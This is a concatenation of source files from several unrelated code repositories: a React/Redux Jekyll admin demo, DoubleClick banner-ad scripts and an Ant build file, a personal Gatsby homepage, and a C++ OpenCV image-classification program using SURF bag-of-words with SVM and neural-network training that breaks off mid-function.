name: action.name,
isCreating: true
})
case CREATED_PROJECT:
return Object.assign({}, state, {
completed: true,
output: action.output,
isCreating: false
})
case FOLDER_CHOOSEN:
return Object.assign({}, state, {
folder: action.folder
})
case RECEIVE_PROJECTS:
return Object.assign({}, state, {
projects: action.projects
})
case UPDATE_CONFIG:
return Object.assign({}, state, {
config: action.config,
updated: true
})
default:
return state
}
}
<file_sep>/app/routes.js
import React from 'react';
import { Route, IndexRoute } from 'react-router';
import App from './containers/App';
import HomePage from './containers/HomePage';
import CreatePage from './containers/CreatePage';
import ProjectPage from './containers/ProjectPage';
export default (
<Route path="/" component={App}>
<IndexRoute component={HomePage} />
<Route path="/create" component={CreatePage} />
<Route path="/project/:project" component={ProjectPage} />
</Route>
);
/*
<Route path="/project/:project" component={Project}>
<Route path="/project/:project/post/create" component={CreateProject} />
<Route path="/project/:project/post/edit/:post" component={EditProject} />
<Route path="/project/:project/settings" component={Settings}/>
</Route>
*/
<file_sep>/app/containers/HomePage.js
import React, { Component } from 'react';
import { bindActionCreators } from 'redux';
import { connect } from 'react-redux';
import Home from '../components/Home';
class HomePage extends Component {
render() {
return <Home {...this.props} />
}
}
function mapStateToProps(state) {
const { project } = state;
return {
projects: project.projects
}
}
export default connect(mapStateToProps)(HomePage)
<file_sep>/app/components/Home.js
import React, { Component, PropTypes } from 'react';
import { Link } from 'react-router';
import styles from './assets/styles/home.css';
import Header from './Header';
import { getAllExistingProjects } from '../actions/project';
import _ from 'underscore'
const ProjectRow = ({name, path, encodedpath}) => (
<Link to={{pathname:`/project/${encodedpath}`, query:{path:path} }}>
<div>{name}</div>
<div>{path}</div>
</Link>
)
export default class Home extends Component {
componentWillMount() {
const { dispatch } = this.props
dispatch(getAllExistingProjects())
}
renderProjectList() {
const { projects } = this.props
return _.map(projects, (name, path) => {
let encodedpath = encodeURIComponent(path)
return <ProjectRow name={name} path={path} encodedpath={encodedpath} key={path}/>
})
}
render() {
return (
<div>
<Header/>
<div className={styles.container}>
<h2 className={styles.title}>My Projects</h2>
<div className={styles.projectsContainer}>
<div className={styles.projectsHeader}>
<div>Project Name</div>
<div>Path</div>
</div>
<div className={styles.projectBody}>
{this.renderProjectList()}
</div>
</div>
</div>
</div>
);
}
}
Home.propTypes = {
projects: PropTypes.object.isRequired
}
<file_sep>/app/utils/LocalStorage.js
const util = {
get: function(key) {
return localStorage.getItem(key)
},
set: function(key, value) {
return localStorage.setItem(key, value)
},
all: function allStorage() {
let archive = {},
keys = Object.keys(localStorage),
i = keys.length;
while (i--) {
archive[keys[i]] = localStorage.getItem(keys[i])
}
return archive
},
clear: function(key) {
return localStorage.removeItem(key)
}
}
export default util;
<file_sep>/readme.md
Jekyll Admin - Demo Application for GSoC
============
> Graphical user interface for Jekyll
# Screenshots
| Project List | Create Project | Configuration |
| ------------------------ | ----------------------------------- | --------------------------- |
| |  |  |
# Features
* Create Jekyll Projects
* List created projects
* Change project's configuration
# Built with
* [Electron](http://electron.atom.io/)
* [React.js](https://facebook.github.io/react/)
* [Redux](http://redux.js.org/)
* [Webpack](http://webpack.github.io/)
using [Electron+React Boilerplate](https://github.com/chentsulin/electron-react-boilerplate).
# Run
```bash
$ git clone https://github.com/mertkahyaoglu/jekyll-admin.git
$ cd jekyll-admin
$ npm install
$ npm run dev
```
# Download
You can download the demo application from [here](https://drive.google.com/open?id=0B9TuIgBV5IJSblVCME1zQXRJbm8)
## License
MIT © [<NAME>](http://mert-kahyaoglu.com/) 2016
|
4fd99a0ecb4a498055c5504094d259de7c99acec
|
[
"JavaScript",
"Markdown"
] | 13 |
JavaScript
|
mertkahyaoglu/jekyll-admin-demo
|
b5b4e9807e3916abe1dbb79e7fb4beaaa6fefc55
|
1f324d0e57fb740111eca991588cb35018c805f6
|
refs/heads/master
|
<file_sep>var animationTimeline;
function bgExitHandler() {
Enabler.exit('bgExit');
}
function ctaExitHandler() {
Enabler.exit('ctaExit','http://www.lialda.com/hcp/support-resources.aspx');
}
function fpiExitHandler() {
Enabler.exit('fpiExit','http://www.lialda.com/hcp/lialda-prescribing-information.aspx');
}
// after ad is visible...
function adVisibilityHandler() {
document.body.style.display = 'block';
legalScroll.update();
dupLegalScroll.update();
exitEr.applyExits([
{ selector:'#exit-handler',
listener:'click',
on:bgExitHandler
},
{ selector:'.ctaLink',
listener:'click',
on:ctaExitHandler
},
{ selector:'.fpiLink',
listener:'click',
on:fpiExitHandler
}
]);
// ANIMATIONS
animationTimeline = new TimelineLite({delay:.5});
animationTimeline
// frames
.add('f0',0)
.add('isi','f0+=2.5')
.add('res','isi+=.75')
.add('f1','res+=.25')
.add('f3','f1+=3')
.add('f4','f3+=3')
.add('f5','f4+=3')
// f0
.set('#isi-container',{y:90})
.fromTo('#isi-duplicate',.3,{autoAlpha:1,y:90},{y:0},'f0')
.fromTo('#tophalf,#oncall',.3,{autoAlpha:1,y:-90},{y:0},'f0')
// isi
.call(function(){expandIsi();beginAutoScroll();},null,null,'isi')
.to('#oncall',.25,{autoAlpha:0,x:-100},'res')
// f1
.fromTo('#f1',.5,{opacity:1,x:728},{x:30},'f1')
.to('#f1',.5,{opacity:0},'f5-=0.5','f3-=.5')
.fromTo('#f2',.5,{opacity:1,x:728},{x:30},'f1')
.to('#f2',.5,{x:-100,opacity:0},'f3-=0.5')
// f3
.fromTo('#f3',.5,{autoAlpha:1,x:728},{x:30},'f3')
.to('#f3',.25,{x:-100,autoAlpha:0},'f4-=0.25')
// f4
.fromTo('#f4',.5,{autoAlpha:1,x:728},{x:30},'f4')
.to('#f4',.25,{x:-100,autoAlpha:0},'f5-=0.25')
// f5
.fromTo('#f5',.5,{autoAlpha:1,x:728,immediateRender:false},{x:0},'f5')
.fromTo('#learn_more',.5,{autoAlpha:1,x:-200,immediateRender:false},{autoAlpha:1,x:0},'f5')
;
document.getElementById('duplicate-legal').addEventListener('click',toggleIsi);
document.getElementById('learn_more').addEventListener('mouseover',ctaExt);
document.getElementById('learn_more').addEventListener('mouseover',ctaExt);
document.getElementById('learn_more').addEventListener('mouseout',ctaRet);
}
// after page loaded...
function pageLoadedHandler() {
document.getElementById('isi-header').addEventListener('click',toggleIsi);
document.getElementById('isi-duplicate-header').addEventListener('click',toggleIsi);
if (Enabler.isVisible()) {
adVisibilityHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.VISIBLE, adVisibilityHandler);
}
}
// after enabler initialized...
function enablerInitHandler() {
// polite load...
if (Enabler.isPageLoaded()) {
pageLoadedHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.PAGE_LOADED, pageLoadedHandler);
}
}
// wait for enabler initialization...
window.onload = function() {
legalScroll = tinyscrollbar(
document.getElementById('legal')
, {
axis:'y',
trackSize:72,
thumbSize:16,
arrows:true,
autoWrap:true
}
);
dupLegalScroll = tinyscrollbar(
document.getElementById('duplicate-legal')
, {
axis:'y',
trackSize:73,
thumbSize:16,
arrows:true,
autoWrap:true
}
);
if (Enabler.isInitialized()) {
enablerInitHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.INIT, enablerInitHandler);
}
}
// CTA button
function ctaExt(){
TweenLite.to('#overlay-end',.5,{x:90});
}
function ctaRet(){
TweenLite.to('#overlay-end',.5,{x:0});
}
// isi toggling
var isiIsExpanded = false;
var expandIsi = function(){
animationTimeline.pause();
TweenLite.to('#isi-container',.5,{y:0});
//var t0 = +new Date();
//setTimeout(function(){
//alert((+new Date()) - t0);
legalScroll.update();
//var t1 = +new Date();
//setTimeout(function(){
//alert((+new Date()) - t1);
//},0);
//},1000);
isiIsExpanded = true;
}
var collapseIsi = function(){
animationTimeline.play();
TweenLite.to('#isi-container',.5,{y:90});
dupLegalScroll.update();
legalScroll.autoKill();
isiIsExpanded = false;
}
var toggleIsi = function(){
isiIsExpanded ? collapseIsi() : expandIsi();
};
// Auto-scrolling
function beginAutoScroll() {
var allowCollapse = true;
var disableCollapse = function(){
allowCollapse = false;
}
var conditionalCollapse = function(){
allowCollapse? collapseIsi() : void(0);
}
setTimeout(function(){
legalScroll.autoScroll({
from:0,
to:document.getElementById('stop'),
t:15,
onAutoKill:disableCollapse,
onComplete:function(){
setTimeout(conditionalCollapse,1000);
}
});
},500);
}
// "Scroll for More" button
var showScrollMore = function(event){
document.getElementById('scroll-more').className = 'visible';
}
var hideScrollMore = function (){
document.getElementById('scroll-more').className = '';
}<file_sep>/** SYNTAX
Both functions require an array of js objects:
selector:String - the queryselector
listener:String - the event listener
on:function - executes when fired
**/
var exitEr = {
applyExits : function(exitArgs){
//var exits = (exitArgs !== 'undefined') ? exitArgs : arguments;
var exits = exitArgs;
// apply exits
for(var i = 0; i < exits.length; i++){
var selected = document.querySelectorAll(exits[i].selector);
for(var j = 0; j < selected.length; j++){
selected[j].addEventListener(
exits[i].listener,
( function(i){
return function() {
if(exits.on !== 'undefined'){
exits[i].on();
}
};
}
)(i),
false
);
}
}
}
};<file_sep>var animationDone = false;
var scrollInterrupt = false;
//see css for animating id's
var activeAnimations = ["one","f1_1","f1_2","f1_3","f1_4","two","f2_1","f2_2","f2_3","f2_4","three","f3_1","f3_2","f3_3","f3_4","four","f4_1","f4_2","f4_3","f4_4","five","f5_1","f5_2","f5_3","f5_4","f5_5"];
// exit handlers
function bgExitHandler() {
Enabler.exit('bgExit','http://www.complera.com');
}
function ctaExitHandler() {
Enabler.exit('ctaExit','http://www.complera.com');
}
function ctaExitHandler() {
Enabler.exit('ctaExit','http://services.gileadhiv.com/complera/pdf/patient-info');
}
function piExitHandler() {
Enabler.exit('piExit','http://services.gileadhiv.com/complera/pdf/patient-info');
}
function fpiExitHandler() {
Enabler.exit('fpiExit','http://services.gileadhiv.com/complera/pdf/pi');
}
function fdaExitHandler() {
Enabler.exit('fdaExit','http://www.fda.gov/medwatch');
}
// after ad is visible...
function adVisibilityHandler() {
//document.getElementById('bg-exit').style.display = 'block';
document.getElementById('legal').scrollTop = 0;
// exits
exitEr.applyExits([
{
selector: '.bgExit',
listener: 'click',
on: bgExitHandler
},
{
selector: '.ctaLink',
listener: 'click',
on: ctaExitHandler
},
{
selector: '.piLink',
listener: 'click',
on: piExitHandler
},
{
selector: '.fpiLink',
listener: 'click',
on: fpiExitHandler
},
{
selector: '.fdaLink',
listener: 'click',
on: fdaExitHandler
}
]);
var interruptScroll = function() {
scrollInterrupt = true;
}
// auto-scroll
var tl = new TimelineLite({delay:18, onComplete:showScrollMore});
tl .call(expandIsi)
.to('#legal',33.5,{
scrollTo:{y:858,
onAutoKill:interruptScroll},
ease:Power0.easeNone
},'+=.5');
// toggle isi listeners (see header script)
document.getElementById('isi-header').addEventListener('click',toggleIsi);
document.getElementById('legal').addEventListener('click',toggleIsi);
document.getElementById("bottom").addEventListener('click', toggleIsi);
//set up pseudo underlined text links for text images
setUnderline("bottom", "under1");
setUnderline("pi", "under2");
setUnderline("fpi", "under3");
setUnderline("six", "under4");
setUnderline("f7_1", "seven_ul");
}
function setUnderline(idName, underlineName){
document.getElementById(idName).addEventListener('mouseover', function(){ fadeIn(underlineName)});
document.getElementById(idName).addEventListener('mouseout', function(){ fadeOut(underlineName)});
}
function fadeIn(){
for(var i=0; i < arguments.length; i++){
document.getElementById(arguments[i]).style.animation = 'fade-in .5s forwards 0s 1';
document.getElementById(arguments[i]).style.WebkitAnimation = 'fade-in .5s forwards 0s 1';
}
}
function fadeOut(){
for(var i=0; i < arguments.length; i++){
document.getElementById(arguments[i]).style.animation = 'fade-out .5s forwards 0s 1';
document.getElementById(arguments[i]).style.WebkitAnimation = 'fade-out .5s forwards 0s 1';
}
}
// after page loaded...
function pageLoadedHandler() {
if (Enabler.isVisible()) {
adVisibilityHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.VISIBLE, adVisibilityHandler);
}
}
function pauseAnimation(animations){
for(var i=0; i < animations.length; i++){
document.getElementById(animations[i]).style.animationPlayState = 'paused';
document.getElementById(animations[i]).style.WebkitAnimationPlayState = 'paused';
}
}
function resumeAnimation(animations){
for(var i=0; i < animations.length; i++){
document.getElementById(animations[i]).style.animationPlayState = 'running';
document.getElementById(animations[i]).style.WebkitAnimationPlayState = 'running';
}
}
// after enabler initialized...
function enablerInitHandler() {
// polite load...
if (Enabler.isPageLoaded()) {
pageLoadedHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.PAGE_LOADED, pageLoadedHandler);
}
}
// wait for enabler initialization...
window.onload = function() {
if (Enabler.isInitialized()) {
enablerInitHandler();
}
else {
Enabler.addEventListener(studio.events.StudioEvent.INIT, enablerInitHandler);
}
}
// isi toggling
var isiIsExpanded = false;
var expandIsi = function(){
Enabler.counter('isiExpand');
fadeIn("isi-container", "six");
document.getElementById("bottom").style.zIndex = '-1';
document.getElementById("bottom").style.animation = 'fade-up .5s forwards 0s 1';
document.getElementById("bottom").style.WebkitAnimation = 'fade-up .5s forwards 0s 1';
document.getElementById('bg-exit').className = 'expanded';
document.getElementById('legal').removeEventListener('click',toggleIsi);
document.getElementById('six').style.zIndex = "4";
document.getElementById('seven').style.zIndex = "-1";
if(animationDone == false){
TweenLite.killTweensOf(expandIsi);
pauseAnimation(activeAnimations);
//fadeOut("seven")
document.getElementById('bg').style.zIndex = "2";
document.getElementById('six').style.zIndex = "5";
}else{
fadeOut("five","seven","seven_ul");
}
isiIsExpanded = true;
}
var toggleIsi = function(){
hideScrollMore();
if((window.getComputedStyle(document.getElementById('five')).getPropertyValue('opacity') == '1') || (window.getComputedStyle(document.getElementById('seven')).getPropertyValue('opacity') == '1')){
animationDone = true;
}
if(isiIsExpanded) {
Enabler.counter('isiCollapse');
TweenLite.to('#legal',.250,{scrollTo:{y:0}});
fadeOut('isi-container', 'six');
document.getElementById("bottom").style.zIndex = '5';
document.getElementById("bottom").style.animation = 'fade-down .5s forwards 0s 1';
document.getElementById("bottom").style.WebkitAnimation = 'fade-down .5s forwards 0s 1';
document.getElementById('six').style.zIndex = "-1";
document.getElementById('bg-exit').className = '';
document.getElementById('legal').scrollTop = 0;
document.getElementById('legal').addEventListener('click',toggleIsi);
if(animationDone == false){
resumeAnimation(activeAnimations);
document.getElementById('bg').style.zIndex = "0";
}else{
fadeIn("seven");
document.getElementById('seven').style.zIndex = 5;
document.getElementById('seven_ul').style.zIndex = 4;
}
isiIsExpanded = false;
} else {
expandIsi();
isiIsExpanded = true;
}
};
// "Scroll for More" button
var showScrollMore = function(event){
setTimeout(function(){
if(isiIsExpanded && !scrollInterrupt){
document.getElementById('scroll-more').style.opacity = "1";
document.getElementById('scroll-more').style.zIndex = "4";
}
},100);
}
var hideScrollMore = function (){
document.getElementById('scroll-more').style.opacity = "0";
document.getElementById('scroll-more').style.zIndex = "-1";
}<file_sep><?xml version="1.0"?>
<project name="Hello World Project" default="info">
<taskdef resource="net/sf/antcontrib/antlib.xml"/>
<target name="release">
<echo>Advertiser: ${advertiser} </echo>
<echo>Concept: ${concept} </echo>
<patternset id="html5.banner.release.folders.pattern">
<include name="**/release"/>
</patternset>
<foreach param="directory" target="copySize">
<path>
<dirset dir="./" casesensitive="yes" id="html5.banner.release.folders">
<patternset refid="html5.banner.release.folders.pattern"/>
</dirset>
</path>
</foreach>
</target>
<target name="copySize">
<patternset id="doubleclick.allowed.files">
<include name="*.css"/>
<include name="*.csv"/>
<include name="*.flv"/>
<include name="*.gif"/>
<include name="*.html"/>
<include name="*.ics"/>
<include name="*.jpg"/>
<include name="*.jpeg"/>
<include name="*.js"/>
<include name="*.mp3"/>
<include name="*.mp4"/>
<include name="*.otf"/>
<include name="*.pdf"/>
<include name="*.png"/>
<include name="*.swf"/>
<include name="*.txt"/>
<include name="*.wav"/>
<include name="*.wma"/>
<include name="*.xls"/>
<include name="*.xml"/>
</patternset>
<basename property="parent.dir.name" file="${directory}/../"/>
<echo>${parent.dir.name}</echo>
<copy todir="${digitasFolderPath}\${advertiser}\${concept}\${parent.dir.name}\">
<fileset dir="${directory}" casesensitive="no">
<patternset refid="doubleclick.allowed.files"/>
</fileset>
</copy>
</target>
</project>
|
475550c0d0a798b20051634826bec39b240e5b28
|
[
"JavaScript",
"Ant Build System"
] | 4 |
JavaScript
|
gsmolina76/Portfolio
|
4b17979329a167552b416f04bac664467012861a
|
c174f3b7edf5f18202277e830ccebeeae2b24a97
|
refs/heads/master
|
<repo_name>cooper25/loertis.dev<file_sep>/README.md
# loertis.dev
My personal website, loertis.dev is now open-source.<file_sep>/src/pages/index.jsx
import * as React from "react"
import Layout from "../components/main.css"
import { Helmet } from "react-helmet"
// markup
const IndexPage = () => {
return (
<elements>
<Helmet>
<title>loertis.dev</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta name="author" content="<NAME>"/>
<meta http-equiv="content-language" content="en-us"/>
</Helmet>
<img draggable="false" height="85" src="./logo.svg"/><br/>
<img draggable="false" id="space" height="30" src="./loertis.svg"/><br/>
<h1>web design / design</h1>
<div className="nav_cont">
<div id="top" className="nav_sect">
<h2>contact me</h2>
<li><a target="_blank" rel="noreferrer" type="email" href="mailto:<EMAIL>"><EMAIL></a></li>
<li><a target="_blank" rel="noreferrer" href="https://discord.com/users/307273393600724994/">loertis#0325</a></li>
</div><br/>
<div className="nav_sect">
<h2>social media</h2>
<li><a target="_blank" rel="noreferrer" href="https://twitter.com/loertis_">🏳️🌈 @loertis_</a></li>
<li><a target="_blank" rel="noreferrer" href="https://www.behance.net/coopertsoris">behance</a></li>
</div><br/>
<div className="nav_sect">
<h2>projects</h2>
<li><a target="_blank" rel="noreferrer" href="https://dothq.design">dothq.design</a></li>
<li><a target="_blank" rel="noreferrer" href="https://mybuildr.dev">mybuildr.dev</a></li>
</div><br/><br/>
</div>
</elements>
)
}
export default IndexPage
|
443de2294c6d8a0d2f61194d269a60dedb4c6d8c
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
cooper25/loertis.dev
|
b561ae5099657f6e4dd5fdd1a1952c29532ceaac
|
e5c9c79c586fb6703231b6109c0f02320f257ad2
|
refs/heads/master
|
<repo_name>shingt/VSD_image<file_sep>/vsd.h
//
// vsd.h
//
// Created by <NAME> on 4/30/13.
// Copyright (c) 2012 <NAME> All rights reserved.
//
#ifndef VSD_H_
#define VSD_H_
#ifndef CV_H_
#include <cv.h>
#endif //CV_H_
#ifndef HIGHGUI_H_
#include <highgui.h>
#endif //HIGHGUI_H_
enum VSDImageFeature {
VSD_SIFT = 0,
VSD_SURF,
};
enum VSDLeraning {
VSD_SVM = 0,
VSD_ANN,
};
// 特徴量を管理するクラスを作る必要あり．codebookも保持する？
//
// SURFDescs
// ...1つの画像中でのSURFを表す
typedef cv::Mat SURFDescs;
//
// Bag-of-Words
//
typedef std::vector<float> BoW;
//
// vsdManager
// ...contains Bag-of-Features for each category.
//
class VSDManager
{
public:
VSDManager ();
VSDManager (std::string &category_name,
unsigned int category);
VSDManager &operator=(const VSDManager &vsdManager);
std::string getCategoryName() const {return category_name;};
int getCategory () const {return bofs_category;}
std::vector<BoW> getBoFs () const {return bofs;}
void createBoFsForEachCategory (const cv::Mat& vwords,
const std::vector<std::string> &images_path_array);
private:
std::string category_name;
int bofs_category;
std::vector<BoW> bofs;
};
#endif //VSD_H_
<file_sep>/vsd.cpp
//
// vsd.cpp
//
// Created by <NAME> on 4/30/13.
// Copyright (c) 2012 <NAME> All rights reserved.
//
#define USE_SVM 1
#define USE_ANN 1
#include <cxcore.h>
#include <iostream>
#include <vector>
#include <string>
#include <cassert>
#include <opencv2/nonfree/nonfree.hpp>
#include <opencv2/flann/flann.hpp>
#include <opencv2/core/core.hpp>
#include <opencv2/ml/ml.hpp>
#include "vsd.h"
#ifndef HOG_H_
#include "hog.h"
#endif //HOG_H_
#ifndef CVUTILS_H_
#include "cvutils.h"
#endif //CVUTILS_H_
#ifndef CATEGORY_FILE_MANAGER_H_
#include "categoryFileManager.h"
#endif //CATEGORY_FILE_MANAGER_H_
// NOTE: These file should be in the images folder
const std::string TRAIN_DATA_FILE_NAME("test_train_data_file_names.txt");
const std::string TEST_DATA_FILE_NAME("test_test_data_file_names.txt");
// parameter
const int DIM_SURF = 128; // The number of dimension of SURF
const int ITERATION = 20; // The number of iterations of k-means
const int COLOR_HIST_BIN = 64; // For color histogram
const int CODEBOOK_SIZE = 100; // The size of codebook
const int GRID = 10; // The pixel interval of grid sampling
const int kNearestNeighbor = 1; // k-NN
template <class T>
std::ostream &operator<<(std::ostream &o, const std::vector<T> &v)
{
o << "{ ";
for (int i = 0; i < (int) v.size (); ++i) o << v[i] << " ";
o << "}";
return o;
}
#pragma mark - Public methods -
VSDManager::VSDManager ()
{};
VSDManager::VSDManager (std::string &category_name,
unsigned int category)
: category_name (category_name),
bofs_category (category)
{
// std::cout << "### " << category + 1 << " th category was created" << std::endl;
};
VSDManager &VSDManager::operator=(const VSDManager &vsdManager)
{
this->category_name = vsdManager.getCategoryName ();
this->bofs_category = vsdManager.getCategory ();
return (*this);
}
//
// calcFeatures
//
// @param[in] src...grey-scale source image.
// @param[out] output descriptor
//
void calcFeatures (const cv::Mat &src, cv::Mat &descriptor)
{
std::vector<cv::KeyPoint> kp_vec; // キーポイント格納コンテナ(dummy)
CV_Assert (!src.empty () && src.depth () == CV_8U);
cv::SURF calc_surf (500, 4, 2, true);
calc_surf (src, cv::Mat (), kp_vec, descriptor);
assert (descriptor.cols == DIM_SURF);
}
#pragma mark - Learning Algorithms -
//
// learnSVM
// @param[in] features
// @param[in] target
// @param[out] SVM
//
void learnSVM (const cv::Mat &features, const cv::Mat &target, CvSVM &SVM)
{
if (features.rows != target.rows) {
std::cout << "### Error : Size of trainData and targetData didn't match." << std::endl;
std::cout << "### trainData : cols : " << features.cols << " rows : " << features.rows << std::endl;
std::cout << "### targetData : cols : " << target.cols << " rows : " << target.rows << std::endl;
return;
}
std::cout << "### in learnSVM" << std::endl;
CvSVMParams svm_params;
// C_SVC...C-support vector classification
svm_params.svm_type = CvSVM::C_SVC;
svm_params.kernel_type = CvSVM::RBF;
svm_params.term_crit = cvTermCriteria (CV_TERMCRIT_ITER, 10000, 1e-5);
// TODO: Need to specify C and gamma.
SVM.train (features, target, cv::Mat (), cv::Mat (), svm_params);
}
//
// learnANN
// @param[in] features
// @param[in] target
// @param[out] ANN
//
void learnANN (const cv::Mat &features, const cv::Mat &target, CvANN_MLP &ANN)
{
if (features.rows != target.rows) {
std::cout << "### Error : Size of trainData and targetData didn't match." << std::endl;
std::cout << "### trainData : cols : " << features.cols << " rows : " << features.rows << std::endl;
std::cout << "### targetData : cols : " << target.cols << " rows : " << target.rows << std::endl;
return;
}
std::cout << "### in learnANN" << std::endl;
// Parameters
int num_input_neurons = features.cols;
int num_hidden_neurons = 250;
int num_output_neurons = target.cols;
int num_iterations = 1000;
double bp_dw_scale = 0.1;
// REVIEW: Threshold might be set.
CvTermCriteria term_crit = cvTermCriteria (CV_TERMCRIT_ITER, num_iterations, 0);
CvANN_MLP_TrainParams::CvANN_MLP_TrainParams ann_params (term_crit, CvANN_MLP_TrainParams::BACKPROP, bp_dw_scale);
// Generate
cv::Mat layerSizes = (cv::Mat_<int> (3, 1)
<< num_input_neurons, num_hidden_neurons, num_output_neurons);
ANN.create (layerSizes, CvANN_MLP::SIGMOID_SYM);
// targetをANNのtarget用に変換する必要あり
cv::Mat target_ann = cv::Mat::zeros (features.rows, num_output_neurons, CV_64FC1);
for (int j = 0; j < features.rows; ++j) {
if (target.at<int>(j, 0) == 1)
target_ann.at<double>(j, 0) = 1.;
}
std::cout << "target: " << std::endl << target_ann << std::endl;
assert (features.rows == target_ann.rows && target_ann.cols == num_output_neurons);
ANN.train (features, target_ann, cv::Mat (), cv::Mat (), ann_params);
}
#pragma mark - Image Features -
//
// generaeteCodebook
// NOTE: The same codebook should be used in test phase as well.
//
// @param[in] features...all features used to generate codebook.
// @param[out] codebook...output codebook.
//
void generateCodebook (const cv::Mat &features, cv::Mat &codebook)
{
cv::Mat labels_dummy; // 各特徴ベクトルがどのクラスタに割り当てられたかを表す（不使用）
cv::kmeans (features, CODEBOOK_SIZE, labels_dummy, cv::TermCriteria
(CV_TERMCRIT_EPS + CV_TERMCRIT_ITER, ITERATION, 0.01), 1, 0,
codebook);
std::cout << "### Codebook was created successfully." << std::endl;
}
//
// createBoW
//
// @param[in] descriptors...extracted features.
// @param[in] codebook...calculated codebook.
// @param[out] bow...output bag-of-words.
//
void createBoW (const cv::Mat &descriptors, const cv::Mat &codebook,
std::vector<float> &bow)
{
// 各局所特徴量に関して最近傍のvisual-wordを見つけて投票
int num_of_features = descriptors.rows;
cv::Mat indices = cv::Mat::zeros (num_of_features, kNearestNeighbor, CV_32SC1); // 最も近いvisual-wordのインデックス
cv::Mat dists = cv::Mat::zeros (num_of_features, kNearestNeighbor, CV_64FC1); // その距離
cv::flann::Index flannIndex (codebook, cv::flann::KDTreeIndexParams ());
cv::flann::SearchParams searchParams = cv::flann::SearchParams ();
// Nearest Neighbor
flannIndex.knnSearch (descriptors, indices, dists, kNearestNeighbor, searchParams);
// Create histogram
std::vector<int> hist (codebook.rows);
std::fill (hist.begin (), hist.end (), 0);
for (int j = 0; j < indices.rows; j++) {
// 現在は最近傍法なのでindicesの最初の要素だけを見ればよい
//int idx = CV_MAT_ELEM (indices, int, j, 0);
int idx = indices.at<int> (j, 0); // FIXME: 画素アクセス
hist[idx]++;
}
// Normalization
assert (bow.empty ());
for (int i = 0; i < hist.size (); ++i) {
float val_normalized = (float) hist[i] / (float) num_of_features;
bow.push_back (val_normalized);
}
}
void extractAndPushFeatures (const cv::Mat &image, std::vector<SURFDescs> &features_SURF,
cv::Mat &features_color_histogram)
{
// Resize image
cv::Mat image_resized;
SG::fixImageSize (image, image_resized, 400);
// Create gray-scale image
cv::Mat gray;
cv::cvtColor (image, gray, CV_BGR2GRAY);
// calculate SURF
SURFDescs descriptor; // 画像中のすべてのキーポイントに対するSURF
calcFeatures (gray, descriptor);
assert (descriptor.cols == DIM_SURF);
features_SURF.push_back (descriptor);
// calculate HOG
// int cell_size = 20, block_size = 3, num_grad_bins = 9;
// HOG hog (image, cell_size, block_size, num_grad_bins);
// features_HOG.push_back (hog.getFeatures ());
// calculate color histogram
std::vector<float> color_hist;
SG::calcRegularizedColorHistogram (image, COLOR_HIST_BIN, color_hist);
assert (!color_hist.empty ());
cv::Mat temp (color_hist);
cv::Mat temp_t = temp.t ();
features_color_histogram.push_back (temp_t);
}
#pragma mark - Main -
int main (int argc, char **argv)
{
// ----------------------------------
// Training Phase
// ----------------------------------
printf ("\n----------------------------------\n Training Phase\n----------------------------------\n\n");
//
// Read training data using file manager
//
CategoryFileManager trainingFileManager (TRAIN_DATA_FILE_NAME);
if (!trainingFileManager.generateFileDatas ()) {
std::cout << "### Failed to generate training data." << std::endl;
return -1;
}
std::vector<std::string> training_categories = trainingFileManager.getCategories ();
int num_training_categories = training_categories.size ();
//
// Display training categories and numbers
//
std::cout << "### Training data categories : " << std::endl;
for (int index = 0; index < num_training_categories; ++index) {
std::cout << "Category " << index << " : " << training_categories[index] << std::endl;
}
std::cout << std::endl;
// 全特徴量を抽出
std::vector<SURFDescs> features_SURF;
// cv::Mat features_HOG;
cv::Mat features_color_histogram (0, COLOR_HIST_BIN, CV_32FC1);
cv::Mat target;
int num_of_actual_images = 0;
// For each category
for (int index_category = 0; index_category < num_training_categories; ++index_category) {
std::string category_file_name;
std::vector<std::string> training_file_paths = trainingFileManager.getFilePaths (index_category);
int num_images = training_file_paths.size ();
// For each image in current category
for (int index_image = 0; index_image < num_images; index_image++) {
cv::Mat image = cv::imread (training_file_paths[index_image], CV_LOAD_IMAGE_COLOR);
if (!image.data) {
std::cout << "### Couldn't load the image : " << training_file_paths[index_image] << std::endl;
continue;
}
std::cout << training_file_paths[index_image] << std::endl;
num_of_actual_images++;
// Extract features and prepare target
extractAndPushFeatures (image, features_SURF, features_color_histogram);
target.push_back (index_category);
}
}
assert (features_color_histogram.rows == num_of_actual_images);
// SURF用codebookの生成
assert (features_SURF.size () == num_of_actual_images);
cv::Mat features_SURF_all;
// 全ての画像のSURFに対して
for (std::vector<cv::Mat>::iterator it = features_SURF.begin ();
it != features_SURF.end (); it++) {
SURFDescs descriptor = *it;
// For each descriptor in image
for (int row_in_desc = 0, row_max = descriptor.rows; row_in_desc < row_max; ++row_in_desc) {
features_SURF_all.push_back (descriptor.row (row_in_desc));
}
}
cv::Mat codebook_for_SURF (CODEBOOK_SIZE, num_of_actual_images, CV_32FC1);
generateCodebook (features_SURF_all, codebook_for_SURF);
assert (codebook_for_SURF.cols == DIM_SURF && codebook_for_SURF.rows == CODEBOOK_SIZE);
// HOG用codebookの生成
// cv::Mat codebook_for_HOG (CODEBOOK_SIZE, num_of_images, CV_32FC1);
// generateCodebook (features_HOG, codebook_for_HOG);
// After creating codebook
// Bag-of-SURF生成
cv::Mat vec_bag_of_SURF (0, CODEBOOK_SIZE, CV_32FC1); // すべての画像のBag-of-SURFを含む
for (int i = 0; i < num_of_actual_images; i++) {
SURFDescs descriptor = features_SURF[i];
BoW bag_of_SURF;
createBoW (descriptor, codebook_for_SURF, bag_of_SURF);
SG::concatVectorToMatVertical (bag_of_SURF, vec_bag_of_SURF);
}
assert (vec_bag_of_SURF.rows == num_of_actual_images);
// std::cout << "### color " << std::endl << color_hist << std::endl;
// Bag-of-HOG生成
// cv::Mat bag_of_HOG;
// for (int i = 0; i < nuM_of_images; ++i) {
// std::vector hog_desc;
// createBoW ( , codebook_for_HOG, hog_desc);
// bag_of_HOG.push_back (hog_desc);
// }
// assert (bag_of_HOG.rows == num_of_images);
// 全特徴量の合成
// assert ((bag_of_SURF.rows == bag_of_HOG.rows) && (bag_of_HOG.rows == features_color_histogram.rows));
